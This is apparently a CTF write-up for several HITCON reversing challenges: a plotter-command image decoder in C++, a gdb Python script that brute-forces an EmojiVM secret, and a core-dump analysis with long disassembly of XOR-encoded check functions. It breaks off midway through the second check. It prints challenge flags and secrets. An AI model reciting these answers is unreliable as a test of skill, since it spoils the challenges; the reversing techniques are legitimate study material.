B 35 -15
C 0.5 -70
A 300 -75
C' 0.3 -90
A 120 -75
C' 0.3 90
A 300 -75
C 0.5 70
B 35 15
A 720 75
C 1.5 70
A 360 -75
B 35 -15
C' 2.2 35
A 360 -75
A 360 75
A 360 -75
A 420 75
B 35 15
A 300 75
C 1.5 70
B 35 -15
A 720 -75
B 35 15
A 360 75
B 35 -15
C 2 70
A 360 -75
B 35 15
A 720 75
C 1 70
A 360 -75
B 35 -15
C' 2.2 70
A 360 -75
A 420 75
A 600 -75
C 0.75 -70
B 35 15
C 0.75 70
A 900 75
C 1.5 70
A 720 -75
B 35 -15
C 2 70
B 35 15
A 720 75
C 1.5 70
A 360 -75
B 35 -15
A 400 -75
A 420 75
C' 2 60
A 120 15
A 480 -75
B 35 15
A 700 75
C 3.5 70
A 360 -75
B 35 -15
C 2 -70
A 360 -75
C 2 70
A 420 75
B 35 15
A 300 75
C 1.5 70
A 360 -75
B 35 -15
C 1.5 70
B 35 15
C 1 -70
A 90 75
B 35 -15
A 450 -75
B 35 15
A 720 75
C 2 70
A 720 -75
B 35 -15
C 2 70
B 35 15
A 720 75
C 1.5 70
B 35 -15
A 180 -75
B 35 15
A 180 -75
B 35 -15
A 720 -75
C' 1 -70
A 180 25
B 35 15
A 900 75
C 2.5 70
A 360 -75
B 35 -15
A 400 -75
A 120 75
C' 2 60
A 120 -15
A 480 75
B 35 15
A 280 75
C 3.5 70
A 360 -75
B 35 -15
A' 360 -15
C 2 -60
C 2 80
C 2 -60
B 35 15
C 2 70
A 720 75
C 1.5 70
A 360 -75
B 35 -15
C 1.5 70
B 35 15
C 1 -70
A 90 75
B 35 -15
A 450 -75
B 35 15
A 720 75
C 2 70
A 720 -75
B 35 -15
C 2 70
B 35 15
A 720 75
C 1.5 70
A 360 -75
B 35 -15
A 400 -75
A 120 75
C' 2 60
A 120 -15
A 480 75
B 35 15
A 280 75
C 3.5 70
A 360 -75
B 35 -15
A' 360 -15
C 2 -60
C 2 80
C 2 -60
B 35 15
C 2 70
A 720 75
C 1.5 70
A 540 -75
B 35 -15
C 2 70
A 240 75
C 2 -70
A 480 -75
C 2 70
B 35 15
A 780 75
C 2 70
A 720 -75
B 35 -15
C 2 70
B 35 15
A 720 75
C 1.5 70
A 360 -75
B 35 -15
C 1.5 70
B 35 15
C 1 -70
A 90 75
B 35 -15
A 450 -75
B 35 15
A 720 75
C 2.5 70
B 35 -15
A 720 -75
B 35 15
A 360 75
B 35 -15
C 2 70
A 360 -75
B 35 15
A 720 75
C 1.5 70
A 540 -75
B 35 -15
C 2 70
A 240 75
C 2 -70
A 480 -75
C 2 70
B 35 15
A 780 75
C 1.5 70
A 720 -75
B 35 -15
C 2 70
B 35 15
A 720 75
C 1.5 70
A 720 -75
B 35 -15
C 2 70
A 420 75
C 2 -70
A 800 -75
B 35 15
C 2 70
A 1100 75
C 1.5 70
A 360 -75
B 35 -15
A 400 -75
A 420 75
C' 1.5 60
A 120 15
A 60 -75
B 35 15
A 280 75
C 1.5 70
B 35 -15
A 180 -75
B 35 15
A 180 -75
B 35 -15
A 360 -75
B 35 15
A 720 75
C 1.5 70
A 360 -75
B 35 -15
A 400 -75
A 420 75
C' 2 60
A 120 15
A 480 -75
B 35 15
A 700 75
C 1.5 70
A 360 -75
B 35 -15
C 1.5 70
B 35 15
C 1 -70
A 90 75
B 35 -15
A 450 -75
B 35 15
A 720 75
C 2.5 70
A 540 -75
B 35 -15
C 2 70
A 240 75
C 2 -70
A 480 -75
C 2 70
B 35 15
A 780 75
C 1.5 70
A 360 -75
B 35 -15
A 400 -75
A 420 75
C' 1.5 60
A 120 15
A 60 -75
B 35 15
A 280 75
C 2 70
B 35 -15
C 0.5 70
A 300 -75
C' 0.3 90
A 120 -75
C' 0.3 -90
A 300 -75
C 0.5 -70
B 35 15
A 720 75
D
And write this code to generate the image.
void tmp(){
Pic png;
for(int i=0;i<300;i++){
png.push_back(vector<Color>(3000,Color(0,0,0)));
}
int dwn=false;
double x=50,y=50;
double vx=0,vy=0;
int tx=0,ty=0;
int wait_fin=1;
while(true){
char m[10];
if(wait_fin||(!tx&&!ty)){
scanf("%s",m);
//printf("%s\n",m);
if(m[0]=='D'){
break;
}
double pw, rd;
scanf("%lf%lf",&rd,&pw);
if(m[0]=='B'){
dwn=pw<0;
}
if(m[0]=='A'){
pw/=100;
ty+=rd/abs(pw)/4/2;
vy=-pw;
}
if(m[0]=='C'){
pw/=100;
rd*=40;
tx+=rd/abs(pw)/2;
vx=pw;
}
if(m[1]=='\'')
wait_fin=1;
else
wait_fin=0;
}
if(dwn)png[min(max((int)y,0),250)][min(max((int)x,0),2950)]=Color(255,255,255);
if(tx>0){
tx=max(tx-1,0);
x+=vx;
}
if(ty>0){
ty=max(ty-1,0);
y+=vy;
}
//printf("%d %d %d %d %d %d\n",x,y,vx,vy,tx,ty);
}
WritePNG("result.png",png);
}
hitcon{why_not_just_use_the_printer}
EmojiVM
To solve this chal, I didn't fully understand the emoji byte code in chal.evm
I found that there are some ==
instructions. I guessed that it will do something on our input secret ,then compare with the correct secret.
After using gdb
on emojivm
. I noticed that the comparison is done byte by byte. It indicate that I can brute force the correct secret byte by byte.
So I write the following gdb python script to get the correct input.
import gdb
import string
import codecs
s = str(codecs.decode('8e63cd124b5815175122d904512c1915862cd14c842e200618', 'hex'))[2:-1]
print(s)
a_bytes = bytes.fromhex('8e63cd124b5815175122d904512c1915862cd14c842e200618')
print(a_bytes)
flag="h999-BB00-0000-0000-0000"
gdb.execute("b *0x0000555555559283")
pre=""
been=[]
for i in range(len(pre),len(a_bytes)):
print(a_bytes[i])
if flag[i]=="-":
pre+="-"
continue
for j in string.printable:
f=open("haha","w")
f.write(pre+j+"h999-BB00-0000-0000-f14g"[len(pre)+1:]+"\n")
f.close()
t=a_bytes[i]
if t>=0x80:
gdb.execute("cond 1 *0x7fffffffdbd8 == 0xffffffffffffff"+hex(t)[2:])
else:
gdb.execute("cond 1 *0x7fffffffdbd8 == "+hex(t))
print("cond 1 *0x7fffffffdba8 == "+hex(t))
gdb.execute('r chal.evm < haha')
o=gdb.execute('p *0x7fffffffdbd0', to_string=True)
o=str(o).split()[2]
while o in been:
gdb.execute('c')
o=gdb.execute('p *0x7fffffffdbd0', to_string=True)
o=str(o).split()[2]
o=gdb.execute('p *0x7fffffffdbe0', to_string=True)
o=str(o).split()[2]
o2=gdb.execute('p *0x7fffffffdbd8', to_string=True)
o2=str(o2).split()[2]
if o==o2:
pre+=j
open("flag","w").write(pre+"\n")
o=gdb.execute('p *0x7fffffffdbd0', to_string=True)
o=str(o).split()[2]
been.append(o)
break
The corrct secret is plis-g1v3-me33-th3e-f14g
, and the flag ishitcon{R3vers3_Da_3moj1}
Core Dumb
gdb -c core-3c5a47af728e9968fd7a6bb41fbf573cd52677bc
can help you analyze the coredump file.
bt
can help you figure out the base address of text segment
gdb-peda$ bt
#0 0x00007fffffffd980 in ?? ()
#1 0x0000555555554c5c in ?? ()
#2 0x0000555555756ac0 in ?? ()
#3 0x0000001100000000 in ?? ()
#4 0x00000000001e7620 in ?? ()
#5 0x00007fffffffd980 in ?? ()
#6 0x61d1502acc982937 in ?? ()
#7 0x748161623a26a1a5 in ?? ()
#8 0x00000000000000a1 in ?? ()
#9 0x0000000000000000 in ?? ()
It tells us that the base address is 0x0000555555554000
So I dump the memory and found the entry point is 0x780 + 0x0000555555554000
by using readelf
Maybe you can use IDA pro
to analyze the code. But I only use gdb
, and directly read the assembly with the help of x/i
The main function is at 0x555555554c7e
main:
0x555555554c7e: push rbp
0x555555554c7f: mov rbp,rsp
0x555555554c82: sub rsp,0x150
0x555555554c89: mov DWORD PTR [rbp-0x144],edi
0x555555554c8f: mov QWORD PTR [rbp-0x150],rsi
0x555555554c96: mov rax,QWORD PTR fs:0x28
0x555555554c9f: mov QWORD PTR [rbp-0x8],rax
0x555555554ca3: xor eax,eax
0x555555554ca5:
mov rax,QWORD PTR [rip+0x201e84] # 0x555555756b30
0x555555554cac: mov ecx,0x0
0x555555554cb1: mov edx,0x2
0x555555554cb6: mov esi,0x0
0x555555554cbb: mov rdi,rax
0x555555554cbe: call 0x555555554750 # maybe setbuf()
0x555555554cc3:
mov rax,QWORD PTR [rip+0x201e56] # 0x555555756b20
0x555555554cca: mov ecx,0x0
0x555555554ccf: mov edx,0x2
0x555555554cd4: mov esi,0x0
0x555555554cd9: mov rdi,rax
0x555555554cdc: call 0x555555554750 # maybe setbuf()
0x555555554ce1:
mov rax,QWORD PTR [rip+0x201e58] # 0x555555756b40
0x555555554ce8: mov ecx,0x0
0x555555554ced: mov edx,0x2
0x555555554cf2: mov esi,0x0
0x555555554cf7: mov rdi,rax
0x555555554cfa: call 0x555555554750 # maybe setbuf()
0x555555554cff: mov DWORD PTR [rbp-0x140],0x0
0x555555554d09: lea rax,[rip+0x201db0] # 0x555555756ac0
0x555555554d10: mov QWORD PTR [rbp-0x130],rax
0x555555554d17: lea rax,[rip+0x201302] # 0x555555756020 encoded check1 function
0x555555554d1e: mov QWORD PTR [rbp-0x120],rax
0x555555554d25: lea rax,[rip+0x201414] # 0x555555756140 encoded check2 function
0x555555554d2c: mov QWORD PTR [rbp-0x110],rax
0x555555554d33: lea rax,[rip+0x2015c6] # 0x555555756300 encoded check3 function
0x555555554d3a: mov QWORD PTR [rbp-0x100],rax
0x555555554d41: lea rax,[rip+0x2018b8] # 0x555555756600 encoded check4 function
0x555555554d48: mov QWORD PTR [rbp-0xf0],rax
0x555555554d4f: lea rax,[rip+0x201caa] # 0x555555756a00 encoded check5 function
0x555555554d56: mov QWORD PTR [rbp-0xe0],rax
0x555555554d5d: mov DWORD PTR [rbp-0x140],0x1
0x555555554d67: jmp 0x555555554ddc
0x555555554d69: mov eax,DWORD PTR [rbp-0x140]
0x555555554d6f: sub eax,0x1
0x555555554d72: cdqe
0x555555554d74: lea rdx,[rax*4+0x0]
0x555555554d7c: lea rax,[rip+0x201d5d] # 0x555555756ae0
0x555555554d83: mov eax,DWORD PTR [rdx+rax*1]
0x555555554d86: mov edx,DWORD PTR [rbp-0x140]
0x555555554d8c: movsxd rdx,edx
0x555555554d8f: shl rdx,0x4
0x555555554d93: add rdx,rbp
0x555555554d96: sub rdx,0x128
0x555555554d9d: mov DWORD PTR [rdx],eax
0x555555554d9f: mov eax,DWORD PTR [rbp-0x140]
0x555555554da5: sub eax,0x1
0x555555554da8: cdqe
0x555555554daa: lea rdx,[rax*4+0x0]
0x555555554db2: lea rax,[rip+0x201d47] # 0x555555756b00
0x555555554db9: mov eax,DWORD PTR [rdx+rax*1]
0x555555554dbc: mov edx,DWORD PTR [rbp-0x140]
0x555555554dc2: movsxd rdx,edx
0x555555554dc5: shl rdx,0x4
0x555555554dc9: add rdx,rbp
0x555555554dcc: sub rdx,0x124
0x555555554dd3: mov DWORD PTR [rdx],eax
0x555555554dd5: add DWORD PTR [rbp-0x140],0x1
0x555555554ddc: cmp DWORD PTR [rbp-0x140],0x5
0x555555554de3: jle 0x555555554d69
0x555555554de5:
mov eax,DWORD PTR [rip+0x201d09] # 0x555555756af4
0x555555554deb: mov DWORD PTR [rbp-0x128],eax
0x555555554df1:
mov eax,DWORD PTR [rip+0x201d1d] # 0x555555756b14
0x555555554df7: mov DWORD PTR [rbp-0x124],eax
0x555555554dfd: mov rdx,QWORD PTR [rbp-0x130]
0x555555554e04: mov rax,QWORD PTR [rbp-0x128]
0x555555554e0b: mov rdi,rdx
0x555555554e0e: mov rsi,rax
0x555555554e11: call 0x555555554bd8 # useless test function
0x555555554e16: mov DWORD PTR [rbp-0x13c],eax
0x555555554e1c: cmp DWORD PTR [rbp-0x13c],0x1337
0x555555554e26: je 0x555555554e3e
0x555555554e28: lea rdi,[rip+0x3ec] # 0x55555555521b
0x555555554e2f: call 0x555555554710 # puts "Test failed !"
0x555555554e34: mov eax,0x1
0x555555554e39: jmp 0x555555555174
0x555555554e3e: mov QWORD PTR [rbp-0xd0],0x0
0x555555554e49: mov QWORD PTR [rbp-0xc8],0x0
0x555555554e54: mov QWORD PTR [rbp-0xc0],0x0
0x555555554e5f: mov QWORD PTR [rbp-0xb8],0x0
0x555555554e6a: mov QWORD PTR [rbp-0xb0],0x0
0x555555554e75: mov QWORD PTR [rbp-0xa8],0x0
0x555555554e80: mov QWORD PTR [rbp-0xa0],0x0
0x555555554e8b: mov DWORD PTR [rbp-0x98],0x0
0x555555554e95: mov QWORD PTR [rbp-0x90],0x0
0x555555554ea0: mov QWORD PTR [rbp-0x88],0x0
0x555555554eab: mov QWORD PTR [rbp-0x80],0x0
0x555555554eb3: mov QWORD PTR [rbp-0x78],0x0
0x555555554ebb: mov QWORD PTR [rbp-0x70],0x0
0x555555554ec3: mov QWORD PTR [rbp-0x68],0x0
0x555555554ecb: mov QWORD PTR [rbp-0x60],0x0
0x555555554ed3: mov DWORD PTR [rbp-0x58],0x0
0x555555554eda: mov QWORD PTR [rbp-0x50],0x0
0x555555554ee2: mov QWORD PTR [rbp-0x48],0x0
0x555555554eea: mov QWORD PTR [rbp-0x40],0x0
0x555555554ef2: mov QWORD PTR [rbp-0x38],0x0
0x555555554efa: mov QWORD PTR [rbp-0x30],0x0
0x555555554f02: mov QWORD PTR [rbp-0x28],0x0
0x555555554f0a: mov QWORD PTR [rbp-0x20],0x0
0x555555554f12: mov DWORD PTR [rbp-0x18],0x0
0x555555554f19: lea rax,[rbp-0xd0]
0x555555554f20: mov QWORD PTR [rbp-0x138],rax
0x555555554f27: lea rdi,[rip+0x2fb] # 0x555555555229
0x555555554f2e: mov eax,0x0
0x555555554f33: call 0x555555554730 # printf("Please enter the flag: ")
0x555555554f38: lea rax,[rbp-0xd0]
0x555555554f3f: mov edx,0x37
0x555555554f44: mov rsi,rax
0x555555554f47: mov edi,0x0
0x555555554f4c: call 0x555555554740 # supposed read(0,rbp-0xd0,0x37)
0x555555554f51: jmp 0x555555554f83
0x555555554f53: mov rax,QWORD PTR [rbp-0x138]
0x555555554f5a: movzx eax,BYTE PTR [rax]
0x555555554f5d: cmp al,0xa
0x555555554f5f: je 0x555555554f6f
0x555555554f61: mov rax,QWORD PTR [rbp-0x138]
0x555555554f68: movzx eax,BYTE PTR [rax]
0x555555554f6b: cmp al,0xd
0x555555554f6d: jne 0x555555554f7b
0x555555554f6f: mov rax,QWORD PTR [rbp-0x138]
0x555555554f76: mov BYTE PTR [rax],0x0
0x555555554f79: jmp 0x555555554f91
0x555555554f7b: add QWORD PTR [rbp-0x138],0x1
0x555555554f83: mov rax,QWORD PTR [rbp-0x138]
0x555555554f8a: movzx eax,BYTE PTR [rax]
0x555555554f8d: test al,al
0x555555554f8f: jne 0x555555554f53
0x555555554f91: lea rax,[rbp-0xd0]
0x555555554f98: mov rdi,rax
0x555555554f9b: call 0x55555555488a # strlen(rbp-0xd0)
0x555555554fa0: cmp eax,0x34
0x555555554fa3: je 0x555555554faf # strlen(rbp-0xd0) = 0x34
0x555555554fa5: mov eax,0x0
0x555555554faa: call 0x555555554949
0x555555554faf: lea rcx,[rbp-0xd0]
0x555555554fb6: lea rax,[rbp-0x90]
0x555555554fbd: mov edx,0xa
0x555555554fc2: mov rsi,rcx
0x555555554fc5: mov rdi,rax
0x555555554fc8: call 0x5555555548bc # supposed strncpy(rbp-0x90,rbp-0xd0,0xa)
0x555555554fcd: lea rdx,[rbp-0x90]
0x555555554fd4: mov rsi,QWORD PTR [rbp-0x120] # encoded check1 function
0x555555554fdb: mov rax,QWORD PTR [rbp-0x118] # xor key1
0x555555554fe2: mov ecx,0xa
0x555555554fe7: mov rdi,rsi
0x555555554fea: mov rsi,rax
0x555555554fed: call 0x555555554a38 # decode check function and check the flag
0x555555554ff2: lea rax,[rbp-0x90]
0x555555554ff9: mov esi,0x37
0x555555554ffe: mov rdi,rax
0x555555555001: call 0x55555555490f # clear buf rbp-0x90
0x555555555006: lea rax,[rbp-0xd0]
0x55555555500d: lea rcx,[rax+0xa]
0x555555555011: lea rax,[rbp-0x90]
0x555555555018: mov edx,0x8
0x55555555501d: mov rsi,rcx
0x555555555020: mov rdi,rax
0x555555555023: call 0x5555555548bc # supposed strncpy(rbp-0x90,rbp-0xd0,0x8)
0x555555555028: lea rdx,[rbp-0x90]
0x55555555502f: mov rcx,QWORD PTR [rbp-0x110] # encoded check2 function
0x555555555036: mov rax,QWORD PTR [rbp-0x108] # xor key2
0x55555555503d: mov rdi,rcx
0x555555555040: mov rsi,rax
0x555555555043: call 0x555555554b0c # decode check function and check the flag
0x555555555048: lea rax,[rbp-0x90]
0x55555555504f: mov esi,0x37
0x555555555054: mov rdi,rax
0x555555555057: call 0x55555555490f
0x55555555505c: lea rax,[rbp-0xd0]
0x555555555063: lea rcx,[rax+0x12]
0x555555555067: lea rax,[rbp-0x90]
0x55555555506e: mov edx,0x12
0x555555555073: mov rsi,rcx
0x555555555076: mov rdi,rax
0x555555555079: call 0x5555555548bc # supposed strncpy(rbp-0x90,rbp-0xd0,0x12)
0x55555555507e: lea rdx,[rbp-0x90]
0x555555555085: mov rsi,QWORD PTR [rbp-0x100] # encoded check3 function
0x55555555508c: mov rax,QWORD PTR [rbp-0xf8] # xor key3
0x555555555093: mov ecx,0x12
0x555555555098: mov rdi,rsi
0x55555555509b: mov rsi,rax
0x55555555509e: call 0x555555554a38 # decode check function and check the flag
0x5555555550a3: lea rax,[rbp-0x90]
0x5555555550aa: mov esi,0x37
0x5555555550af: mov rdi,rax
0x5555555550b2: call 0x55555555490f
0x5555555550b7: lea rax,[rbp-0xd0]
0x5555555550be: lea rcx,[rax+0x24]
0x5555555550c2: lea rax,[rbp-0x90]
0x5555555550c9: mov edx,0xc
0x5555555550ce: mov rsi,rcx
0x5555555550d1: mov rdi,rax
0x5555555550d4: call 0x5555555548bc # supposed strncpy(rbp-0x90,rbp-0xd0,0xc)
0x5555555550d9: lea rdx,[rbp-0x90]
0x5555555550e0: mov rsi,QWORD PTR [rbp-0xf0] # encoded check4 function
0x5555555550e7: mov rax,QWORD PTR [rbp-0xe8] # xor key4
0x5555555550ee: mov ecx,0xc
0x5555555550f3: mov rdi,rsi
0x5555555550f6: mov rsi,rax
0x5555555550f9: call 0x555555554a38 # decode check function and check the flag
0x5555555550fe: lea rax,[rbp-0x90]
0x555555555105: mov esi,0x37
0x55555555510a: mov rdi,rax
0x55555555510d: call 0x55555555490f
0x555555555112: lea rax,[rbp-0xd0]
0x555555555119: lea rcx,[rax+0x30]
0x55555555511d: lea rax,[rbp-0x90]
0x555555555124: mov edx,0x4
0x555555555129: mov rsi,rcx
0x55555555512c: mov rdi,rax
0x55555555512f: call 0x5555555548bc # supposed strncpy(rbp-0x90,rbp-0xd0,0x4)
0x555555555134: lea rdx,[rbp-0x90]
0x55555555513b: mov rcx,QWORD PTR [rbp-0xe0] # encoded check5 function
0x555555555142: mov rax,QWORD PTR [rbp-0xd8] # xor key5
0x555555555149: mov rdi,rcx
0x55555555514c: mov rsi,rax
0x55555555514f: call 0x555555554b0c # decode check function and check the flag
0x555555555154: lea rax,[rbp-0xd0]
0x55555555515b: mov rsi,rax
0x55555555515e: lea rdi,[rip+0xe3] # 0x555555555248
0x555555555165: mov eax,0x0
0x55555555516a: call 0x555555554730 # print("Congratz ! The flag is hitcon{%s} :)\n",rbp-0xd0)
0x55555555516f: mov eax,0x0
0x555555555174: mov rcx,QWORD PTR [rbp-0x8]
0x555555555178: xor rcx,QWORD PTR fs:0x28
0x555555555181: je 0x555555555188
0x555555555183: call 0x555555554720
0x555555555188: leave
0x555555555189: ret
First, it calls a test function which is totally useless. So we can just skip that part. By the way, it seems like that this program crashed in the test function.
Then I found that there is a decode function that can decode the check functions for flag. It's at 0x555555554a38
and 0x555555554b0c
It use xor to encode the check functions. In gdb
yout can easily get the addresses of encoded functions and the xor keys
encoded func xor key function length
0x7fffffffded8: 0x555555756020 0x8eb5034a 0x0000010b
0x7fffffffdee8: 0x555555756140 0xc6ffda44 0x000001b1
0x7fffffffdef8: 0x555555756300 0x85ea3fe1 0x000002e4
0x7fffffffdf08: 0x555555756600 0x42ad9ef2 0x000003e6
0x7fffffffdf18: 0x555555756a00 0x77e2535c 0x000000bf
We have five check functions here. And I manually decode the functions and read the assembly.
check1:
0: 55 push rbp
1: 48 89 e5 mov rbp,rsp
4: 48 83 ec 60 sub rsp,0x60
8: 48 89 7d a8 mov QWORD PTR [rbp-0x58],rdi
c: 89 75 a4 mov DWORD PTR [rbp-0x5c],esi
f: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
16: 00 00
18: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
1c: 31 c0 xor eax,eax
1e: c7 45 c0 44 75 4d 62 mov DWORD PTR [rbp-0x40],0x624d7544
25: c6 45 c4 00 mov BYTE PTR [rbp-0x3c],0x0
29: 48 c7 45 d0 00 00 00 mov QWORD PTR [rbp-0x30],0x0
30: 00
31: 48 c7 45 d8 00 00 00 mov QWORD PTR [rbp-0x28],0x0
38: 00
39: 48 c7 45 e0 00 00 00 mov QWORD PTR [rbp-0x20],0x0
40: 00
41: c7 45 e8 00 00 00 00 mov DWORD PTR [rbp-0x18],0x0
48: 66 c7 45 ec 00 00 mov WORD PTR [rbp-0x14],0x0
4e: 48 b8 49 26 72 35 76 movabs rax,0x413317635722649
55: 31 13 04
58: 48 89 45 c5 mov QWORD PTR [rbp-0x3b],rax
5c: 66 c7 45 cd 4e 5e mov WORD PTR [rbp-0x33],0x5e4e
62: c6 45 cf 00 mov BYTE PTR [rbp-0x31],0x0
66: c7 45 b8 00 00 00 00 mov DWORD PTR [rbp-0x48],0x0
6d: c7 45 bc 01 00 00 00 mov DWORD PTR [rbp-0x44],0x1
74: c7 45 b8 00 00 00 00 mov DWORD PTR [rbp-0x48],0x0
7b: eb 39 jmp 0xb6
7d: 8b 45 b8 mov eax,DWORD PTR [rbp-0x48]
80: 48 63 d0 movsxd rdx,eax
83: 48 8b 45 a8 mov rax,QWORD PTR [rbp-0x58]
87: 48 01 d0 add rax,rdx
8a: 0f b6 08 movzx ecx,BYTE PTR [rax]
8d: 8b 45 b8 mov eax,DWORD PTR [rbp-0x48]
90: 99 cdq
91: c1 ea 1e shr edx,0x1e
94: 01 d0 add eax,edx
96: 83 e0 03 and eax,0x3
99: 29 d0 sub eax,edx
9b: 48 98 cdqe
9d: 0f b6 44 05 c0 movzx eax,BYTE PTR [rbp+rax*1-0x40]
a2: 83 e8 07 sub eax,0x7
a5: 31 c1 xor ecx,eax
a7: 89 ca mov edx,ecx
a9: 8b 45 b8 mov eax,DWORD PTR [rbp-0x48]
ac: 48 98 cdqe
ae: 88 54 05 d0 mov BYTE PTR [rbp+rax*1-0x30],dl
b2: 83 45 b8 01 add DWORD PTR [rbp-0x48],0x1
b6: 8b 45 b8 mov eax,DWORD PTR [rbp-0x48]
b9: 3b 45 a4 cmp eax,DWORD PTR [rbp-0x5c]
bc: 7c bf jl 0x7d
be: c7 45 b8 00 00 00 00 mov DWORD PTR [rbp-0x48],0x0
c5: eb 23 jmp 0xea
c7: 8b 45 b8 mov eax,DWORD PTR [rbp-0x48]
ca: 48 98 cdqe
cc: 0f b6 54 05 d0 movzx edx,BYTE PTR [rbp+rax*1-0x30]
d1: 8b 45 b8 mov eax,DWORD PTR [rbp-0x48]
d4: 48 98 cdqe
d6: 0f b6 44 05 c5 movzx eax,BYTE PTR [rbp+rax*1-0x3b]
db: 38 c2 cmp dl,al
dd: 74 07 je 0xe6
df: c7 45 bc 00 00 00 00 mov DWORD PTR [rbp-0x44],0x0
e6: 83 45 b8 01 add DWORD PTR [rbp-0x48],0x1
ea: 8b 45 b8 mov eax,DWORD PTR [rbp-0x48]
ed: 3b 45 a4 cmp eax,DWORD PTR [rbp-0x5c]
f0: 7c d5 jl 0xc7
f2: 8b 45 bc mov eax,DWORD PTR [rbp-0x44]
f5: 48 8b 75 f8 mov rsi,QWORD PTR [rbp-0x8]
f9: 64 48 33 34 25 28 00 xor rsi,QWORD PTR fs:0x28
100: 00 00
102: 74 05 je 0x109
104: e8 b4 fc ff ff call 0xfffffffffffffdbd
109: c9 leave
10a: c3 ret
check1 is easy to understand. Just a xor trick
The first part of flag is tH4nK_U_s0
check2:
0: 55 push rbp
1: 48 89 e5 mov rbp,rsp
4: 48 83 ec 70 sub rsp,0x70
8: 48 89 7d 98 mov QWORD PTR [rbp-0x68],rdi
c: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
13: 00 00
15: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
19: 31 c0 xor eax,eax
1b: c7 45 a4 00 00 00 00 mov DWORD PTR [rbp-0x5c],0x0
22: c7 45 a8 00 00 00 00 mov DWORD PTR [rbp-0x58],0x0
29: c7 45 ac 00 00 00 00 mov DWORD PTR [rbp-0x54],0x0
30: c7 45 b0 01 00 00 00 mov DWORD PTR [rbp-0x50],0x1
37: c7 45 d0 bd 8d cb 95 mov DWORD PTR [rbp-0x30],0x95cb8dbd
3e: c7 45 d4 79 cc 84 0f mov DWORD PTR [rbp-0x2c],0xf84cc79
45: c7 45 d8 76 a8 99 b8 mov DWORD PTR [rbp-0x28],0xb899a876
4c: c7 45 dc 55 ab 5d 0a mov DWORD PTR [rbp-0x24],0xa5dab55
53: c7 45 e0 ba 3b 8b 9a mov DWORD PTR [rbp-0x20],0x9a8b3bba
5a: c7 45 e4 a7 38 b2 70 mov DWORD PTR [rbp-0x1c],0x70b238a7
61: c7 45 e8 f1 3c b5 72 mov DWORD PTR [rbp-0x18],0x72b53cf1
68: c7 45 ec 09 02 7c d4 mov DWORD PTR [rbp-0x14],0xd47c0209
6f: c7 45 ac 00 00 00 00 mov DWORD PTR [rbp-0x54],0x0
76: e9 13 01 00 00 jmp 0x18e
7b: 8b 45 ac mov eax,DWORD PTR [rbp-0x54]
7e: 48 63 d0 movsxd rdx,eax
81: 48 8b 45 98 mov rax,QWORD PTR [rbp-0x68]
85: 48 01 d0 add rax,rdx
88: 0f b6 00 movzx eax,BYTE PTR [rax]
8b: 0f be c0 movsx eax,al
8e: 25 ff 00 00 00 and eax,0xff
93: 89 45 a4 mov DWORD PTR [rbp-0x5c],eax
96: 8b 45 ac mov eax,DWORD PTR [rbp-0x54]
99: 48 98 cdqe
9b: 48 8d 50 04 lea rdx,[rax+0x4]
9f: 48 8b 45 98 mov rax,QWORD PTR [rbp-0x68]
a3: 48 01 d0 add rax,rdx
a6: 0f b6 00 movzx eax,BYTE PTR [rax]
a9: 0f be c0 movsx eax,al
ac: 25 ff 00 00 00 and eax,0xff
b1: 89 45 a8 mov DWORD PTR [rbp-0x58],eax
b4: c7 45 b4 00 00 00 00 mov DWORD PTR [rbp-0x4c],0x0
bb: c7 45 bc ad de 37 13 mov DWORD PTR [rbp-0x44],0x1337dead
c2: c7 45 c0 43 00 00 00 mov DWORD PTR [rbp-0x40],0x43
c9: c7 45 c4 30 00 00 00 mov DWORD PTR [rbp-0x3c],0x30
d0: c7 45 c8 52 00 00 00 mov DWORD PTR [rbp-0x38],0x52
d7: c7 45 cc 33 00 00 00 mov DWORD PTR [rbp-0x34],0x33
de: c7 45 b8 00 00 00 00 mov DWORD PTR [rbp-0x48],0x0
e5: c7 45 b8 00 00 00 00 mov DWORD PTR [rbp-0x48],0x0
ec: eb 65 jmp 0x153
ee: 8b 45 a8 mov eax,DWORD PTR [rbp-0x58]
f1: c1 e0 04 shl eax,0x4
f4: 89 c2 mov edx,eax
f6: 8b 45 a8 mov eax,DWORD PTR [rbp-0x58]
f9: c1 e8 05 shr eax,0x5
fc: 31 c2 xor edx,eax
fe: 8b 45 a8 mov eax,DWORD PTR [rbp-0x58]
101: 8d 0c 02 lea ecx,[rdx+rax*1]
104: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
107: 83 e0 03 and eax,0x3
10a: 89 c0 mov eax,eax
10c: 8b 54 85 c0 mov edx,DWORD PTR [rbp+rax*4-0x40]
110: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
113: 01 d0 add eax,edx
115: 31 c8 xor eax,ecx
117: 01 45 a4 add DWORD PTR [rbp-0x5c],eax
11a: 8b 45 bc mov eax,DWORD PTR [rbp-0x44]
11d: 01 45 b4 add DWORD PTR [rbp-0x4c],eax
120: 8b 45 a4 mov eax,DWORD PTR [rbp-0x5c]
123: c1 e0 04 shl eax,0x4
126: 89 c2 mov edx,eax
128: 8b 45 a4 mov eax,DWORD PTR [rbp-0x5c]
12b: c1 e8 05 shr eax,0x5
12e: 31 c2 xor edx,eax
130: 8b 45 a4 mov eax,DWORD PTR [rbp-0x5c]
133: 8d 0c 02 lea ecx,[rdx+rax*1]
136: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
139: c1 e8 0b shr eax,0xb
13c: 83 e0 03 and eax,0x3
13f: 89 c0 mov eax,eax
141: 8b 54 85 c0 mov edx,DWORD PTR [rbp+rax*4-0x40]
145: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
148: 01 d0 add eax,edx
14a: 31 c8 xor eax,ecx
14c: 01 45 a8 add DWORD PTR [rbp-0x58],eax
14f: 83 45 b8 01 add DWORD PTR [rbp-0x48],0x1
153: 83 7d b8 1f cmp DWORD PTR [rbp-0x48],0x1f
157: 7e 95 jle 0xee
159: 8b 45 ac mov eax,DWORD PTR [rbp-0x54]
15c: 01 c0 add eax,eax
15e: 48 98 cdqe
160: 8b 44 85 d0 mov eax,DWORD PTR [rbp+rax*4-0x30]
164: 39 45 a4 cmp DWORD PTR [rbp-0x5c],eax
167: 74 07 je 0x170
169: c7 45 b0 00 00 00 00 mov DWORD PTR [rbp-0x50],0x0
170: 8b 45 ac mov eax,DWORD PTR [rbp-0x54]
173: 01 c0 add eax,eax
